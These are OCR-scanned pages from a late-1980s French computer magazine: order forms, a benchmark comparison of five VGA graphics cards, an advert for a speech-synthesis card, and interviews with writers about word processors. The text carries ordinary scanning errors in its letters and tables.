Le répertoire des fournisseurs de la micro FOUR ENVOI 

Prolongement de l'annuaire des fournisseurs publié dans L'Oi, cette base de données est rafraîchie 
(changements d'aoresse ) et enrichie (. uouvefes références.) très régulièrement Elle renferme en outre les 
coordonnées de vos revendeurs, SSII et boutiques locaux. 

1 000 PETITES ANNONCES 

Télé-achetez ou télé-vendez votre micro PA ENVOI 

Une autre façon d'intervenir sur le marché de l'occasion: consultez des centaines d'offres récentes ou 
mettez vrius-même en vente voire ancienne configuration. Des opportunités à saisir en permanence! 
Attention, celte rubrique est réservée aux matériels. Pirates s'abstenir. 

400 LOGICIELS GRATUITS 

Téléchargez! TEL ENVOI 

Chaque mois, de nouveaux programmes présentes dans le journal viennent compléter la logithèque 
offerte par L'Oi en téléchargement. Elle compte déjà près de 400 références dont environ 220 rien que 
pour les IBM PC et compatibles parmi lesquels figurent des utilitaires indispensables. 
Pour télécharger ces iogicicls gratuits sur votre micro, il vous suffît d'acquérir une simple interface et un 

logiciel de communication (voir pages suivantes). 

Pour la commande utilisez le bon de la page 71 



h 



À 



Devenez membre du Club Oi et recevez votre carte d'adhérent 



en nous retournant le bulletin ci-dessous 

A adresser à Club Oi - Marie-Louise DESiNDE - 5, place du Colonel-Fabien 75491 Paris Cedex 10 



oui, 



désire devenir membre du Club Oi. Au titre ce ™ cotisation 
(valable pour 12 mois à compter de ce jour), je joins un chèque bancaire 
libellé à l'ordre de - Club de l'Oi ° d'un montant de 
□ 300 F (si je ne suis pas abonné à l'Ordinateur Inotviauel) 
D 150 F (si je suis abonné à l'Ordinateur Individuel) 

Mon numéro d'abonné est : I I I I J I I I I 

Fait à le Signature 



Téléphone 



Profession : 

□ Dirigeant PME/PMI D Employé G Ingénieur 

□ Prof, libérale D Ouvrier D Technicien 

□ Cadre moyen G Etudiant Autres, préciser : 

□ Cadre supérieur D Commerçant/Artisan 



Renseignements complémentaires Age :. 



.-*£. 



EXTRAIT DU R E G 



Ils Club ae L'Oi ?■" r..„-m 
•Ordinateur Irtimduel. 

lia C:„b ;ie i'Oi propose s se 










BON DE COMMANDE - DOMAINE PUBUC/FEED Oi 



A adresser à l'Ordinateur individuel - 5, place du Colonel-Fabien 75491 Paris Cedex 10 

D Je suis membre rJu Club Oi (N° 

et bénéficie du tarif de 80 F* 
D Je suis abonné de l'Oi (N n 



et bénéficie du tarif de 110 F* Joindre dernière étiquette 

adresse. 
D Je ne suis ni membre du Club, ni abonné et règle le plein tarif 

de 150 F*. 

D MAC 52 □ PC 12 

D ST12 D AMG12 

Le montant total de ma commande est de : FTTC 

Ci-joint un chèque bancaire ou postal de francs 

à l'ordre de l'Ordinateur individuel 

Fait à le . 

Signature 



Prénom 


Adresse 




Code postal 


Ville 


Pays 


Téléphone 


Age 


Profession 


Secteur d'activité 



■n est obligatoire peut 



,NDE- TELECHARGEMENT 



A adresser à Club Oi - Marie-Louise DESINDE - 5, place du Colonel-Fabien 75491 Paris Cedex 1 
Je désire recevoir l'interface et le logiciel de communication suivant : NOM 
{cocher le modèle de votre choix.) 

Apple 2E/2+ 350 F D Amstrad 61 28 350 F D 

IBMPC* 250F D IBM PC (Versionsans câble)*' 70F n 

Les prix s'entendent port inclus, 
Jejoins un chèque de_ 



.francs, libellé à l'ordre 



de Logiciels et Médias, correspondant à ma commande. 
Veuillez adresser celle-ci à : 



Prénom 


Adresse 




Code postal 


Ville 


Pays 


Téléphone 


Date 


Signature 



COMPARATIF 



LES CARTES 
VGA 



E— SB 

Il y avait bien peu de chances pour que l'affichage VGA reste 
longtemps l'apanage des seuls PS/2 modèles 50 à 80. Grâce aux 
fabricants de cartes d'extension, rous les PC, ainsi que le PS/2 
modèle 30, le nouveau bas de gamme d'IBM, vont en profiter. 
Nos yeux aussi. Nous avons expérimenté cinq cartes disponibles en 
France sous les marques Western Digital, Donatec, ■STB, Tecmar 
et Vidéo 7. 



La constance du retard de Big 
Blue par rapport aux construc- 
teurs d'équipements d'extension 
destinés à ses propres machines est rour 
à fait étonnante. Lorsque les premiers 
PC sortent, au début des années quatre- 
vingts, rimpéririe d'IBM en matière 
d'affichage graphique monochrome fait 
les beaux jours de constructeurs indé- 
pendant, tel Hercules. Loin de damer 
le pion à ces derniers, la décision d'IBM 
de reprendre le contrôle du marché avec 
l'affichage EGA ne fait alors qu'attiser 
la convoitise des matchands de carres. 

En effet, les modes EGA d'IBM 
peuvent laisser un sentiment de frustra- 
tion : affichage un peu lenr et surtout 
absence d'un mode graphique 720 X 



348, alors qu'il existe l'équivalent en 
mode texte. Il n'en faut pas plus pour 
que les indépendants s'engouffrent dans 
certe nouvelle brèche. Les carres EGA 
alternatives deviennenr de plus en plus 
rapides à l'affichage et de plus en plus 
fournies en modes vidéo. Pourquoi se 
limiter aux 224 000 pixels (640 X 
350) imposés par la norme ? D'autant 
plus que l'arrivée des moniteurs à 
synchronisation automatique (mulri- 
sync) et l'obligation d'aller Toujours plus 
loin (argumentation publiciraire oblige) 
onr de quoi stimuler le génie inventif 
des concepteurs de hard. 

Loin de mettre tout le monde d'ac- 
cord, VGA et l'affichage analogique des 
PS/2 modèles 50 à 80 relancent la 



compétition. L'argument de fermeture 
du standard lié à la présence du contrô- 
leur vidéo sur la carte mère des PS/2 n'a 
pas fait illusion un instant. Le modèle 
30 à bus PC ne disposant pas du mode 
VGA (ils n'ont qu'une version dégra- 
dée, MCGA), l'indispensable carte de 
mise à niveau n'est pas longue à 
venit 1 ". Mais IBM n'est pas la seule à 
en ptoposet une, et comme le bus du 
modèle 30 est un bus PC standard, le 
marché potentiel s'avère énotme. Il 
s'agit tout simplement de donner envie 
aux possesseurs de PC et compatibles de 
se dorer du nouvel affichage en vogue. »> 



(1) Les normes MCGA ec VGA t 
danres dans L'Oi n<* 98 et: 99 
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Et l'histoire de recommencer : pour- 
quoi se limiter aux 307 200 pixels (640 
X 480) du mode VGA et testreindre 
les 262 144 couleurs (256 K) au for- 
mat 320 X 200, .alors que... ? Les 
développeurs de logiciels vont être heu- 
reux : il existe maintenant une bonne 
cinquantaine de modes d 'affichage pos- 
sibles sur les machines d'IBM ! D n'y a 
d'ailleurs aucune raison pour s'arrêter 
en si bon chemin, puisque la primitive 
Bios 1 Oh de changement de mode est 
d'emblée conçue pour supporter 256 
résolutions différentes. Tout possesseur 
de carte VGA peut s'amuser à jongler 
entre de nombreux modes, au moyen 
de l'utilitaire généralement fourni avec 
la carte. Sinon, un court programme 
créé sous Debug sufSt (2) . 

La surenchère en matière de modes 
d'affichage devient quelque peu aga- 
çante. En fonction du nombre de cou- 
leurs souhaitées et de l'éventualité d'un 
mode graphique associé (sans parler du 



(2) Voici ce programme: 

movah. Oh 

mov al, xx ;xx compris en, 

ht 10 

w20 



type de moniteur requis), faut-il préfé- 
rer une matrice de caractères de 9 X 16, 
8 X 16, 8 X 14 ou 7 X 16 sans même 
parler du pauvre 8 X 8 ? Et le nombre 
de colonnes : 40, 80, 100 ou 132, en 
24, 25, 43, 44 ou 75 lignes ? Buridan 
de l'ère informatique, l'utilisateur 
moyen a de quoi être effrayé par une 
telle diversité, aux nuances parfois im- 



Mais il n'est pas au bout de ses 
peines : pour que cela fonctionne, il faut 
souvent réinstaller le progiciel habituel 
avec le driver approprié fourni avec la 
carte. La manoeuvre n'est pas toujours 
des plus aisées. Elle est parfois destruc- 
trice, car il faut remplacer le driver 
original par celui fourni sur la disquette 
d'installation qu'il vaut mieux dupli- 



Carte 


Distribu- 
leur en 
France 


Prix 
(Fht| 


Service- 
lecteurs, 
réf. n" 


Paradise 

Donatec 
STBEM 
Teemar 
Vidéo 7 


Western 
3îgital 
donatec 
nfoco 

Almatec 
Softsel 


3 450 

3 800 

4 500 
2 990 
2 990 


30 

31 
32 
33 
34 



1 6/256 K 
1 6/256 K 
1 6/256 K 
1 6/256 K 
1 6/256 K 
1 6/256 K 
1 6/256 K 
1 6/256 K 
1 6/256 K 
1 6/256 K 
1 6/256 K 
1 6/256 K 



2/256 K 



1 6/256 K 
1 6/256 K 

4 
1 6/256 K 
2/256 K 
1 6/256 K 
256/256 K 



40x25 
40x25 
40x25 
40x25 
40x25 
40x25 
80x25 
80x25 
80x25 
80x25 
80x25 
80x25 
40x25 
40x25 
80x25 
80x25 
80x25 
40x25 
80x25 
80x25 
80x25 
80x25 
80x25 
40x25 



8x14 
8x14 
8x16 
8x16 



J ■. mode texte sed C : mode graphique. 



320 X 200 
320 X 350 
360 x 400 
320 X 200 
320x350 
360x400 
640x200 
640x350 
640x400 
640 x 200 
640 x 350 
720 X 400 
320 x 200 
320 X 200 
640 X 200 
720 X 350 
720 x 400 
320 x 200 
640x200 
640 x 350 
640x350 
640x480 
640x480 
320 x 200 



B8000 
B8000 



AO000 
AO000 
AO000 
A0O00 
A0OO0 
A00O0 
AO0O0 



quer avant toute chose. Le problème des 
progiciels que l'on ne peut installei 
qu'une fois se pose évidemment : le 
mariage avec la carte d'affichage élue 
devient alors indissoluble. Sinon, il y a 
incitation à pratiquer des bricolages que 
la morale informatique réprouve en 
principe. 

Autre casse-rêre : faut-il choisir la 
carte VGA en fonction de ses perfor- 
mances propres ou en fonction de la 
variéré de drivas qui l'accompagnent ? 
Les utilisateurs de nombreux logiciels 
professionnels auront encote ici une 
bonne occasion de s'arracher les che- 
veux, car toutes les cartes VGA sont loin 
de proposer l'ensemble des drivas sou- 
haités. 

Qu'ils n'oublient pas non plus que 
les installations sont ptesque Toujours 
longues et fastidieuses, surtout quand le 
progiciel est livré sur une douzaine de 
disquettes, voire plus. 

Nous nous hasarderons ici à commu- 
niquer le fruit de plusieurs mois d'expé- 
rimentation et d'usage assidu de l'affi- 
chage VGA (amélioré ou non) avec les 
logiciels professionnels. Le mode texte 
natif VGA - mode 3, cafactères en 
marrice de 9 * 1 6 - suffit pour toutes 
les applications textuelles. Malgré la 
réelle qualiré des nouveaux moniteurs 
analogiques (un Hirachi Multisync 
pour cet essai), loget de 100 à 132 
colonnes sut 43 à 75 lignes n'est qu'une 
supecbe performance sans intérêt prati- 
que. Aucune rétine humaine n'y résisre 
plus de quelques minutes] S'il faut 



I— BB 



Carte 



Paradise 
Donatec 
STBEM 
Teemar 
Vidéo 7 



Test! 

(en s) 



Test 2 
(en s) 



Test I : affichoge de 2000 lignes de 80 
caractères, la couleur est changée Itnodulo 
16} à chaque ligne. 

Test 2 ; affichage de 3 200 lignes verticales et 
2 400 lignes horizontales, la couleur est chan- 

i 'I à chaque ligne. 
Tests en Turbo-Basic compilé réalisés sur un 
AT386/l6MHz. 



vraiment avoir sous les yeux autant de 
données, une sortie imprimante en 
mode landscape reste nettement plus 
utile. Il en va de même en mode 
graphique : mieux vaut un 640 X 480 
qui fait travailler le moniteur au mieux 
de sa forme qu'un 800 X 600 poussant 
le matériel dans ses derniers retranche- 
ments. On peut évidemment se laisset 
tentet par une carte supportant le mode 
256 couleurs en 640 X 480, sans 
oublier pour autant que les logiciels 
exploitant ce mode ne sont pas légion. 
Quant aux langages de programma- 
tion, rares déjà sont ceux capables 
d'adresser la résolution graphique na- 
tive des modes 11 et 12h. 

► UN ESSAI 
RICHE 
EN REBONDISSEMENTS 

Dans l'état actuel des choses, choisir 
une cane VGA est une sorte de parcours 
du combattant assez riche en péripéties. 
Sans discuter du prix (entre 3 000 F et 
6 000 F, en fonction de la richesse des 
modes spéciaux et des drivers), le pre- 
mier écueil est la disponibilité effective 
du matériel en question. En effet, il y a 
un monde entre l'annonce à caractère 
publicitaire et la foumirure rapide de la 
carte. Passons rapidemenr sur le cas 
d'IBM-France, reconnaissant < être au 
courant > de l'existence d'un produit de 
ce rype chez eux (pour leur modèle 30), 
mais n'en disposant pas, et conseillant 
de voit dans les boutiques franchisées si 
par hasard un spécimen ne serait pas 
arrivé. 

Dans bien d'autres cas, 1 enormité du 
délai annoncé signifie que les dernières 
mises au point sont loin d'être achevées. 
La cause de tout est un problème de 
compatibilité. Si doner totalement l'ar- 
chitecture VGA IBM est risqué sur le 
plan juridique, se contenter d'une ému- 
lation au ttavers des fonctions Bios 
conduit à de mauvais fonctionnements 
avec les logiciels il! bétiaved, que dé- 
nonce Bill Gates. C'est pourrant l'un de 
ses produits (Windows 386) qui a jeté 
le pavé dans la mare. Malgré le prêche 
du présidenr de Microsoft, Windows » 




Un pont: entre PC et PS. Le VGA a des ■ 

d'ktfoco .■>[■ comporte . 
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s T Ttek 



Nous sommes plus performant que nos 
concurrents pour que vous le 
soyez via a vis des vôtres 



La qualité nést pas feulement 

la qualité des produits 

■ Le qui nest déjà pas - 

Cést encore la qualité du service 

Cést encore la qualité du marché 

MS-3220 16/20MHz Tower 386 
MS-21 6/10MHz Mini 286 
MS-23 8/12MHz Mini 286 
MS-24 8/16MHz NEAT 2SÉ 
MS-11 10MHz 88 
MS-12 12MHz 88 



MONTEREY International Corp. 

5FL, No. 40, Deh Hwei Street, Taipei, Taiwan, R.O.C. 

Télex: 25171 MONTEREY Phone: S86-2-591713S Fas: 886-2-5931075 





European Liaison Office 

Schieweg 10-B, 3039 BA Rotterdam, The Netherlands 
Tel: 01M674466 Tk: 25363 MTEK Fax: 0104463028 




|UNE GAMME D'IMPRIMÉS DISPONIBLE IMMÉDIATEMENT"! 
ftéfetnce t26tiu«fmc^lecieQrs(paj,f 66) 



386 ne se prive pas des « raccourcis » 
d'appels Bios, aussi efficaces que gê- 
nants pour les cartes approximative- 
ment VGA. Ces dernières ont dû re- 
tourner précipitamment dans leurs 
laboratoires d'origine, le temps d'une 
mise en conformité plus soignée. Elles 
n'en ressortent que progressivement, 
mais encore un peu tôt semble-t-il, 
comme en témoignent nos essais. 

Donnons au passage un coup de 
chapeau à Infoco, qui a accepté de nous 
confier l'unique prototype (réalisé en 
montage de surface, mais quasiment 
soudé à la main) de la carte STB VGA 
EM disponible. Son Bios provisoire était 
censé ne pas encote contenir les routines 
d'émuladon de mode. Les essais ont 
montré - non sans surprise de notre part 
- qu'elles avaient pourtant été installées 
in extremis, et qu'elles fonctionnaient 
très convenablement ! 

Nous avons mis en compétition qua- 
tre cartes VGA (cinq en fait, mais le 
modèle distribué par Donatec n'est 
autre que celui de Western Digital). La 
plupart reprennent au modèle IBM 
l'emploi du circuit Inmos pour le 
convertisseur digital/analogique, à l'ex- 
ception de la carte Tecmar, remarqua- 
blement peu chargée en composants, le 
VLSI référencé Tseng Labs semblant 
faire tout le travail. La présence de 
connecteurs pour moniteurs analogique 
a numérique (sub mini DB 1 5 et sub 
DB9) est bienvenue. Seule la carte 
Paradise ne se soude pas des possesseurs 
d'écrans TTL. L'émulation physique du 
classique contrôleur d'écran 6845 est 
très variable : impeccable sur l'exem- 
plaire venant de Vidéo 7, exécrable sur 
la Tecmar. Attention aux logiciels 
contournant les routines Bios. 

D'une façon générale, les cartes en 
compétition ont toutes passé avec succès 
les tests de fonctionnement en mode 
VGA (affichage Windows 386 
compris). Leur comportement diffère 
pourtant sur de nombreux points. En 
matière de rapidité d'affichage, les essais 
montrent que le peloton est serré en 
mode graphique (fourchette de 10 %), 
mais bien plus étiré en mode texte (écart 



de 47 %). Dans les deux cas, la carte 
Paradise de Western Digital triomphe 
nettement. La STB EM et la Tecmar 
arrivent bonnes dernières ex aequo, 
tandis que la carte Vidéo 7 représente 
une honnête moyenne. A noter que 
deux des cartes en lice sont accompa- 
gnées d'un utilitaire nommé Rambios. 
Ce dernier est supposé accélérer l'affi- 
chage de « certains logiciels >, Nos 
programmes-tests ne devaient pas être 



de ceux-là, puisque aucune différence 
n'a été remarquée. Si la richesse en 
modes supplémentaires constitue un 
argument déterminant, le modèle de 
STB a l'avantage de fournir des fonc- 
tions égales ou proches de la carte 
8514/A IBM (640 x 480 en 256 
couleurs, 1 024 X 768 en 16 couleurs). 
Les primitives graphiques de la carte 
85 14/ A sont bien sûr absentes, mais le 
prix de la STB est moins élevé (il faut 
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cependant un écran 8514 pour bénéfi- 
cier de k résolution 1 024 X 768). 
Il faudra également tenir compte des 
bizarreries que nous avons relevées sur 
toutes les cartes de cet essai. Cela va de 
la curiosité à la gêne réelle. La carte 
Tecmar présente l'originalité de ne pas 
comporter le jeu de caractères VGA, 
mais un équivalent dérivé du jeu EGA 
(en mode VGA, le zéro est représenté 
sans barre oblique, mais avec un tiret 
central). Elle ne fonctionne pas bien non 
plus avec Word 4 employé en page 
graphique (image brouillée par des 
rirets horizontaux, surtout en haut de 
l'écran). Elle passe aussi régulièrement 
en noir et blanc au sortir d'un progiciel 
(il faut faire MODE COS0 pour récu- 
pérer les couleurs). En revanche, elle ne 
modifie apparemment pas le fonction- 



nement du rimer de la machine d'ac- 
cueil (vérification auditive avec le bip du 
PC), ce qui n'est pas le cas des autres. Il 
faudra également être vigilant, lors de la 
sélection du type de moniteur rattaché à 
la carte. Il est préférable de déclarer un 
moniteur analogique à fréquence fixe, 
lors de l'emploi d'un mulrisync non 
référencé dans la liste proposée. 

Observation similaire pour la carte 
de Vidéo 7 : seule la déclaration d'un 
moniteur type PS/2 à fréquence fixe 
donne une image correcte (sinon, 
l'image est trop haute à l'écran et le 
scintillement, dû à un double balayage, 
est gênant). Sa couche de Bios supplé- 
mentaire intercepte de façon particulière 
les appels à Tint. lOh, si bien qu'un 
programme-machine employant cette 
interruption affiche souvent dans une 
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couleur autre que celle désirée. Ce Bios 
est probablement responsable de l'al- 
longement spectaculaire du bip de l'or- 
dinateur (triplement de la durée), qui 
devient vite fastidieux avec les logiciels 
très « sonorisés >. 

► UN CONSENSUS 
DIFFICILE 

Le manuel d'emploi (en anglais) 
s'avère incomplet (les modes sont dé- 
crits, mais leuts numéros respectifs 
manquent, et ce renseignement est es- 
sentiel pour le programmeur). Le plus 
grave est le comportement perturbé 
sous OS/2 : dédoublement du carac- 
tère débutant chaque ligne, et plantage 
garanti lors de l'appel du sélecteur de 
programmes. Par rapport à ce qui 
précède, la carte STB EM semble moins 
sournoise, c'est peut-être la contrepartie 
de sa relative lenteur. Tout au plus 
avons-nous remarqué la nette dégrada- 
tion du bip de l' ordinateur (allongé et 
tremblotant), ainsi que des change- 
ments de couleurs aléatoires en mode 
texte 132 colonnes. Ce dernier défaut 
ne se manifestant qu'à chaud semble 
être imputable à une mauvaise 
connexion sur le prototype, et ne devrait 
normalement pas figurer sur la version 
définitive. 

Restent enfin les cartes Western Di- 
gital Paradise et Donatec. Ces cham- 
pionnes de vitesse présentent un défaut 
d'affichage mineur et sans conséquences 
sous OS/2 (rayures verticales, juste 
avant la page de ptésentation Micro- 
soft). Cela dit, elles perturbent grave- 
ment un port série placé à proximité 
(taux d'erreurs anormal en communica- 
tion V22), Il se peut que ce soit un 
problème de rayonnement harmonique 
du quartz d'horloge. 

Difficile donc, dans l'état actuel des 
choses, de désigner un modèle ralliant 
tous les suffrages. Il serait sage d'atten- 
dre encore un peu. En tous cas, une 
affaire à suivre dans la mesure où, 
nettement plus confortable pour les 
yeux, le mode VGA a des chances de se 
généraliser dans l'avenir. ■ 
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Applications : 

- Guides d'utilisation sonores, non intrusif («Helpers») 

- Enseignement assisté par ordinateur; 

- Dispositifs d'alarmes industriels; 

- Télématique : bases de données et messageries 
à consultation orale; 

- Postes de travail informatiques pour aveugles et 
mal-voyants; 

- Aides aux handicapés de la voix. 

Description : 

Le SYNTHÉ-PC se présente sous la forme d'une carte 
courte, compatible avec le Bus PC. 

Cette carte comporte son propre processeur et sa propre 
mémoire. Elle n'occupe donc aucun emplacement dans 
l'espace mémoire adressable du PC. 

Elle est analogue à une interface d'imprimante parallèle. Des 
cavaliers permettent de lui affecter une des trois adresses 
reconnues par le BIOS pour les imprimantes parallèles LPT1 , 
LPT2 ou LPT3. 

Le SYNTHÉ-PC ne nécessite aucun logiciel spécifique pour 
fonctionner. Tout programme DOS capable d'envoyer des don- 
nées à une ou plusieurs imprimantes parallèles peut fonctionner 
sans modification (applications écrites en BASICA, Turbo- 
Pascal, Quick-Basic, DBASE, etc.). En fait, il n'est pas néces- 
saire d'écrire une ligne de programme ou d'avoir des notions de 
phonétique pour utiliser SYNTHÉ-PC. 

Le logiciel spécifique du processeur incorporé à la carte 
effectue une ANALYSE ALPHABÉTIQUE de tout texte envoyé 
par l'utilisateur, convertit ce texte en séquences de phonèmes 
et prononce la phrase après une optimisation globale basée sur 
des principes exclusifs. Cette analyse s'effectue de manière 
ultra-rapide (environ 100 milli-secondes pour une phrase de 
100 caractères). 

Le SYNTHÉ-PC traite plus de 2 000 règles et exceptions de 
la prononciation du Français, reconnaît les sigles les plus cou- 
rants (par ex. : SNCF), les abréviations courantes (pi = place, 
h = heure, Bd = boulevard, ...), quelques termes anglais cou- 
rants en informatique (par ex. : name). Il analyse également les 
nombres qui lui sont présentés sous forme de chiffres et les 
convertit en milliards, millions, etc., avec toutes les règles de 
prononciation liées aux pluriels et leur liaison (Vingt-T-articles, 
quatre-vingts-Z-ohms) ! 
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Utilitaire SYNMENU 

Un progamme utilitaire est fourni sur disquette, afin de facili- 
ter l'utilisation de SYNTHÉ-PC. 

Ce programme se charge en mémoire de manière résidente, 
et retourne ensuite aux commandes DOS. Une pression sur 
une combinaison de touches permet à tout moment de réveiller 
SYNMENU et de faire apparaître une fenêtre de dialogue à 
l'écran. 

Ce menu permet d'appeler : 

- des fonctions d'installation : permutation des imprimantes 
pour affecter au choix le SYNTHÉ-PC à LPT1, LPT2 ou LPT3. 
Cette fonction peut être utilisée à tout moment et permet donc 
d'envoyer des textes alternativement à une imprimante ou au 
SYNTHÉ-PC, sans modification de l'application. 

- des réglages sonores, effectués par les flèches et touches 
numériques : volume sonore, hauteur de la voix (plus grave ou 
plus aiguë), vitesse d'élocution, 

- des fonctions spéciales : mode « bavard » (prononciation des 
signes de ponctuation), mode «phonétique» permettant 
d'accéder à toutes les possibilités de l'appareil et même de le 
faire chanter! 
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LES LOGICIELS VUS PAR LES UTILISATEURS 

L'ÉCRITURE AU 
QUOTIDIEN 



Les professionnels de récriture se moquent des fioritures des 
logiciels sophistiqués. Ecrivain, traducteur ou journaliste, tous ne 
réclament que du matériel fiable et des programmes simples. 



Il n'est pas mauvais, dès lors qu'il 
s'agit de traitement de texte, de 
remettre quelques pendules à l'heure. 
Les logiciels, commes les machines dé- 
diées, sont de plus en plus performants 
et sophistiqués. Est-ce vraiment utile ? 
Certains programmes se rapprochent 
nettement de la PAO ou de la mise en 
pages électronique. Tous les utilisateurs 
ont-ils besoin de tant de puissance ? Et 
comment faire pour s'y retrouver avec 
une offre aussi large qui va du petit 
Amstrad au gros PS/2 ? 

La parole est aux utilisateurs. Nous 
en avons rencontré plusieurs dont le 
métier est d'écrire : traducteurs, journa- 
listes, écrivains. Leurs préoccupations 
sont diverses, mais ils ont tous au moins 
deux points communs : l'irruption du 
traitement de texte dans leur vie est 
récente - quelques années pour les 
vététans, quelques semaines au plus 
pour les néophytes -, et ils ne peuvent 
plus s'en passer... Us ont été confrontés 



au problème du choix et ne l'ont pas 
toujours abordé de la même façon. Pour 
eux, l'ordinateur est un passage obligé, 
mais pas forcément désiré. Ils achètent 
un traitement de texte comme on ac- 
quiert un outil de travail. 

Monique Lebailly, traductrice, s'est 
d'abotd posé la question du choix du 
matériel, sans penser au logiciel. Cette 
démarche n'est pas étonnante pour une 
personne habituée à utiliser une ma- 
chine à écrire électrique. La notion 
même de < traite de l'écriture par un 
programme-intelligent-informatique > 
paraît déroutante, sinon suspecte, lors- 
que l'on n'a jamais eu que de la 
mécanique froide entre les mains. 

Des préoccupations angoissées se 
font jour qui concernent d'abord le 
nouveau clavier : < il est couvert de 
touches dont je ne comprends pas l'uti- 
lité >, « j'ai peut de faire une fausse 
manœuvre > ou encore < je n'ose pas y 
toucher, ça me bloque >. Avant même 




d'envisager le chargement d'une dis- 
quette (quelle horreur) ou la création 
d'un texte (déjà ?), il faut passer son 
examen d'informatique comme on pas- 
setait le permis de conduire. Tout le 
monde n'est pas capable, ou n'a pas 
envie, de faire cet effort. De nombreux 
candidats au traitement de texte restent 
sur la touche et préfèrent se réfugier 
dans les btas de leur vieille Remingron. 
Le choix de la machine est souvent 
déterminé par l'influence d'un proche 
déjà équipé. Monique Lebailly s'est 
tournée vers un PC, car elle connaissait 
Jean Bonnefoy (traducteur d'Isaac Asi- 
mov et de Michael Gorbatchev) lui- 
même équipé d'un traitement de texte 
Olivetti. Alléchée par l'offre Amsttad, 
simple, économique et complète, elle a 
longtemps hésité. Mais Jean Bonnefoy, 
très critique au sujet de l'Amstrad, l'a 
dissuadée : < Le système d'exploitation 
CP/M est complètement dépassé. Le 
format des disquettes ne correspond pas 



à un standard. Le seul avantage est son 
prix. Mais la première version du pro- 
gramme Locoscript met un temps fou 
pour faire défila un long texte à l'affi- 



UN JOURNALISTE: 
« L'AMSTRAD PCW EST AUSSI 
ADAPTÉ À MES BESOINS 
QU'UN MACINTOSH» 

Cédric Philibert, collaborateur de 
l'Express, ne partage pas cette opinion. 
<: J'ai commencé par une Brothet 
TC 600, une machine électronique qui 
permettait déjà de faite du traitement 
de texte, mais qui ne possédait pas 
d'écran. Je travaillais avec une seule 
ligne d'une vingtaine de caractères, et je 
pouvais créei des fichiers sur disquette 
allant jusqu'à 14 000 caractèies. Elle 
était portable, avec une imprimante 
thermique. Cela me coûtait très cher en 
papiet ( 5 centimes la feuille) . 

Finalement, c'était lent et trop fati- 



gant pout retravaillet mes textes. Au- 
jourd'hui, j'ai acheté un Amstrad PCW 
8256. Pour le prix, c'est assez temar- 
quable. Je le trouve aussi adapté à mon 
propre besoin que pourrait l'être un 
Macintosh. Il a trois styles de caractères : 
du double, du souligné, de l'italique. Il 
ne m'en faut pas plus. A quoi me 
serviraient dix polices de catactèies? 
L'écran est très agréable. Il me fatigue 
moins que celui d'un Mac. Il est plus 
grand et je vois ma page en entier. 
J'interviens comme je veux. J'ai consa- 
cré un week-end pour apprendre à me 
servir de toutes ses finesses. Il a beau- 
coup de possibilités. On peut créer des 
modèles d'écriture au format requis par 
tel ou tel journal. > 

Cédric regrette en revanche de ne 
pouvoir transmettre ses fichiers sur dis- 
quette à toutes les tédactions avec les- 
quelles il collabore. « Seule la rédaction 
de Ça m 'intéresse est équipée en Ams- 
trad, mais ils ne sont pas intefconnectés 



avec la phorocomposition. Les papiers 
sont donc tous ressaisis. Pour l'Express, 
je dois fournir des feuillers de 30 lignes 
de 37 signes, ce que je fais facilement 
sur micro. > 

< Tourefois, ajoute-t-il, Locoscripr ne 
calcule pas le nombre total de signes 
dans mon texte. > Nul n'est parfait. 

Ce sont souvent les petits détails qui 
ravissent les utilisateurs. Jean Bonnefoy 
apprécie d'avoir une touche du clavier 
lui permettant d'effacer un caractère 
vers la gauche, mais aussi un caractère 
vers la droite. Le comble de la satisfac- 
tion pour un forçat de l'écriture esr la 
possibilité de petmuter deux lettres 
consécutives. Nous avons tous un 
doigté légètement dyslexique. 

Faut-il dépenser beaucoup pour ac- 
quérir un traitement de texte ? Pour 
Cédric Philibert, la seule raison valable 
d'un loutd investissement est d'acheter 
un portable. Il a été extrêmement tenté 
par le Tandy 200 qui pèse moins de 
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deux kilos. Il est tout petit, mais pas 
compatible avec les PC. <: Il aurait donc 
fallu que j'achète également tous les 
périphériques nécessaires : lecteur de 
disquettes et imprimante. J'ai 
malgré tout, car la plupart des journalis- 
tes de l'AFP sont équipés de 
Tandy 200. > 

UN TRADUCTEUR: 

« LES LOGICIELS SONT TROP 

SOPHISTIQUÉS» 

Jean Bonnefoy, pour sa part, a in- 
vesti près de 40 000 F dans son Olivetti 
ETV 500, version < professionnelle > 
du M19, avec une imprimante à mar- 
guerite 3" 1/2 et le programme Olitext. 
Il s'en sert quotidiennement et bénéficie 
d'une garantie qui lui assure réparation 
ou remplacement sous 24 heures. < J'ai 
préféré faire un choix professionnel. On 
m'a repris mon ancienne machine qui 
travaillait sous CP/M. Cette fois, j'ai un 
programme rapide sous MS-DOS, et 
j'ai pu récupérer la totalité de mon 
travail antérieur (200 disquettes pleines 
à craquer). Je n'aime pas la souris du 
Macintosh. Je préfère les commandes 
simples sur un clavier dédié au traite- 
ment de texte. C'est ce que m'offre 
l'Olivetti, avec des écrans d'aide multi- 
ples, pas de fonctions superfétatoires et 
surtout des menus, notices et program- 
mes de démonstration écrits en fran- 
çais. > 

< Aujourd'hui, commente-t-il, les 
programmes sont trop sophistiqués avec 
des possibilités qui ne servent pas à 
l'utilisateur. On a voulu créer des traite- 
ments de texte universels, avec un peu 
de tableur, un peu de facturation, un 
peu de graphisme. Résultat : à vouloir 
satisfaire tout le monde, on ne contente 
personne. Les modules qui servent à 
compléter le programme ralentissent en 
fait le traitement de texte lui-même. > 

POUR L'ÉCRIVAIN: 

« LA SENSATION DE SCULPTER 

SON TEXTE» 

Cathy Bemheim, auteur de Cobaye g 
baby (édition de la Manufacture) et | 
d'une biographie de Mary Shelley 




(même éditeur) utilise un Apple Ile. 
Elle écrit ses romans avec le 1 
Gribouille et estime que le traitement 
de texte apporte une notion < d'immé- 
diateté entre la main et la pensée. Je 
travaille beaucoup plus vite, avec la 
sensation de sculpter mon texte. > Son 
ordinateur est déjà vieux de deux ans, et 
elle songe à le changer contre un Macin- 
tosh, car i. beaucoup d'écrivains ou de 
journalistes travaillent avec Mac >. 
S'agit-il de suivre une mode? Non. <Je 
sais qu'il existe sur Mac i 
spécifique pour construire des scénarios 
(GnéMac de Parisoft), et j'en écris moi- 
même^ 

L'apprentissage du logiciel est tou- 
jours fastidieux. < Au début, j'ai fait des 
fausses manœuvres. Personne ne 
m'avait dit qu'en sauvegardant deux 
fichiers sous un même nom, j'écrasais le 
premier. J'ai perdu deux jours de travail 
ainsi. > La plupart des écrivains se 
contentent d'utiliser les fonctions sim- 
ples ; sauver, reprendre, couper, copier, 
coller, rechercher ou changer un mot. 
Dès qu'il s'agit de tabuler, de calculer, 



de créer des glossaires ou des macro- 
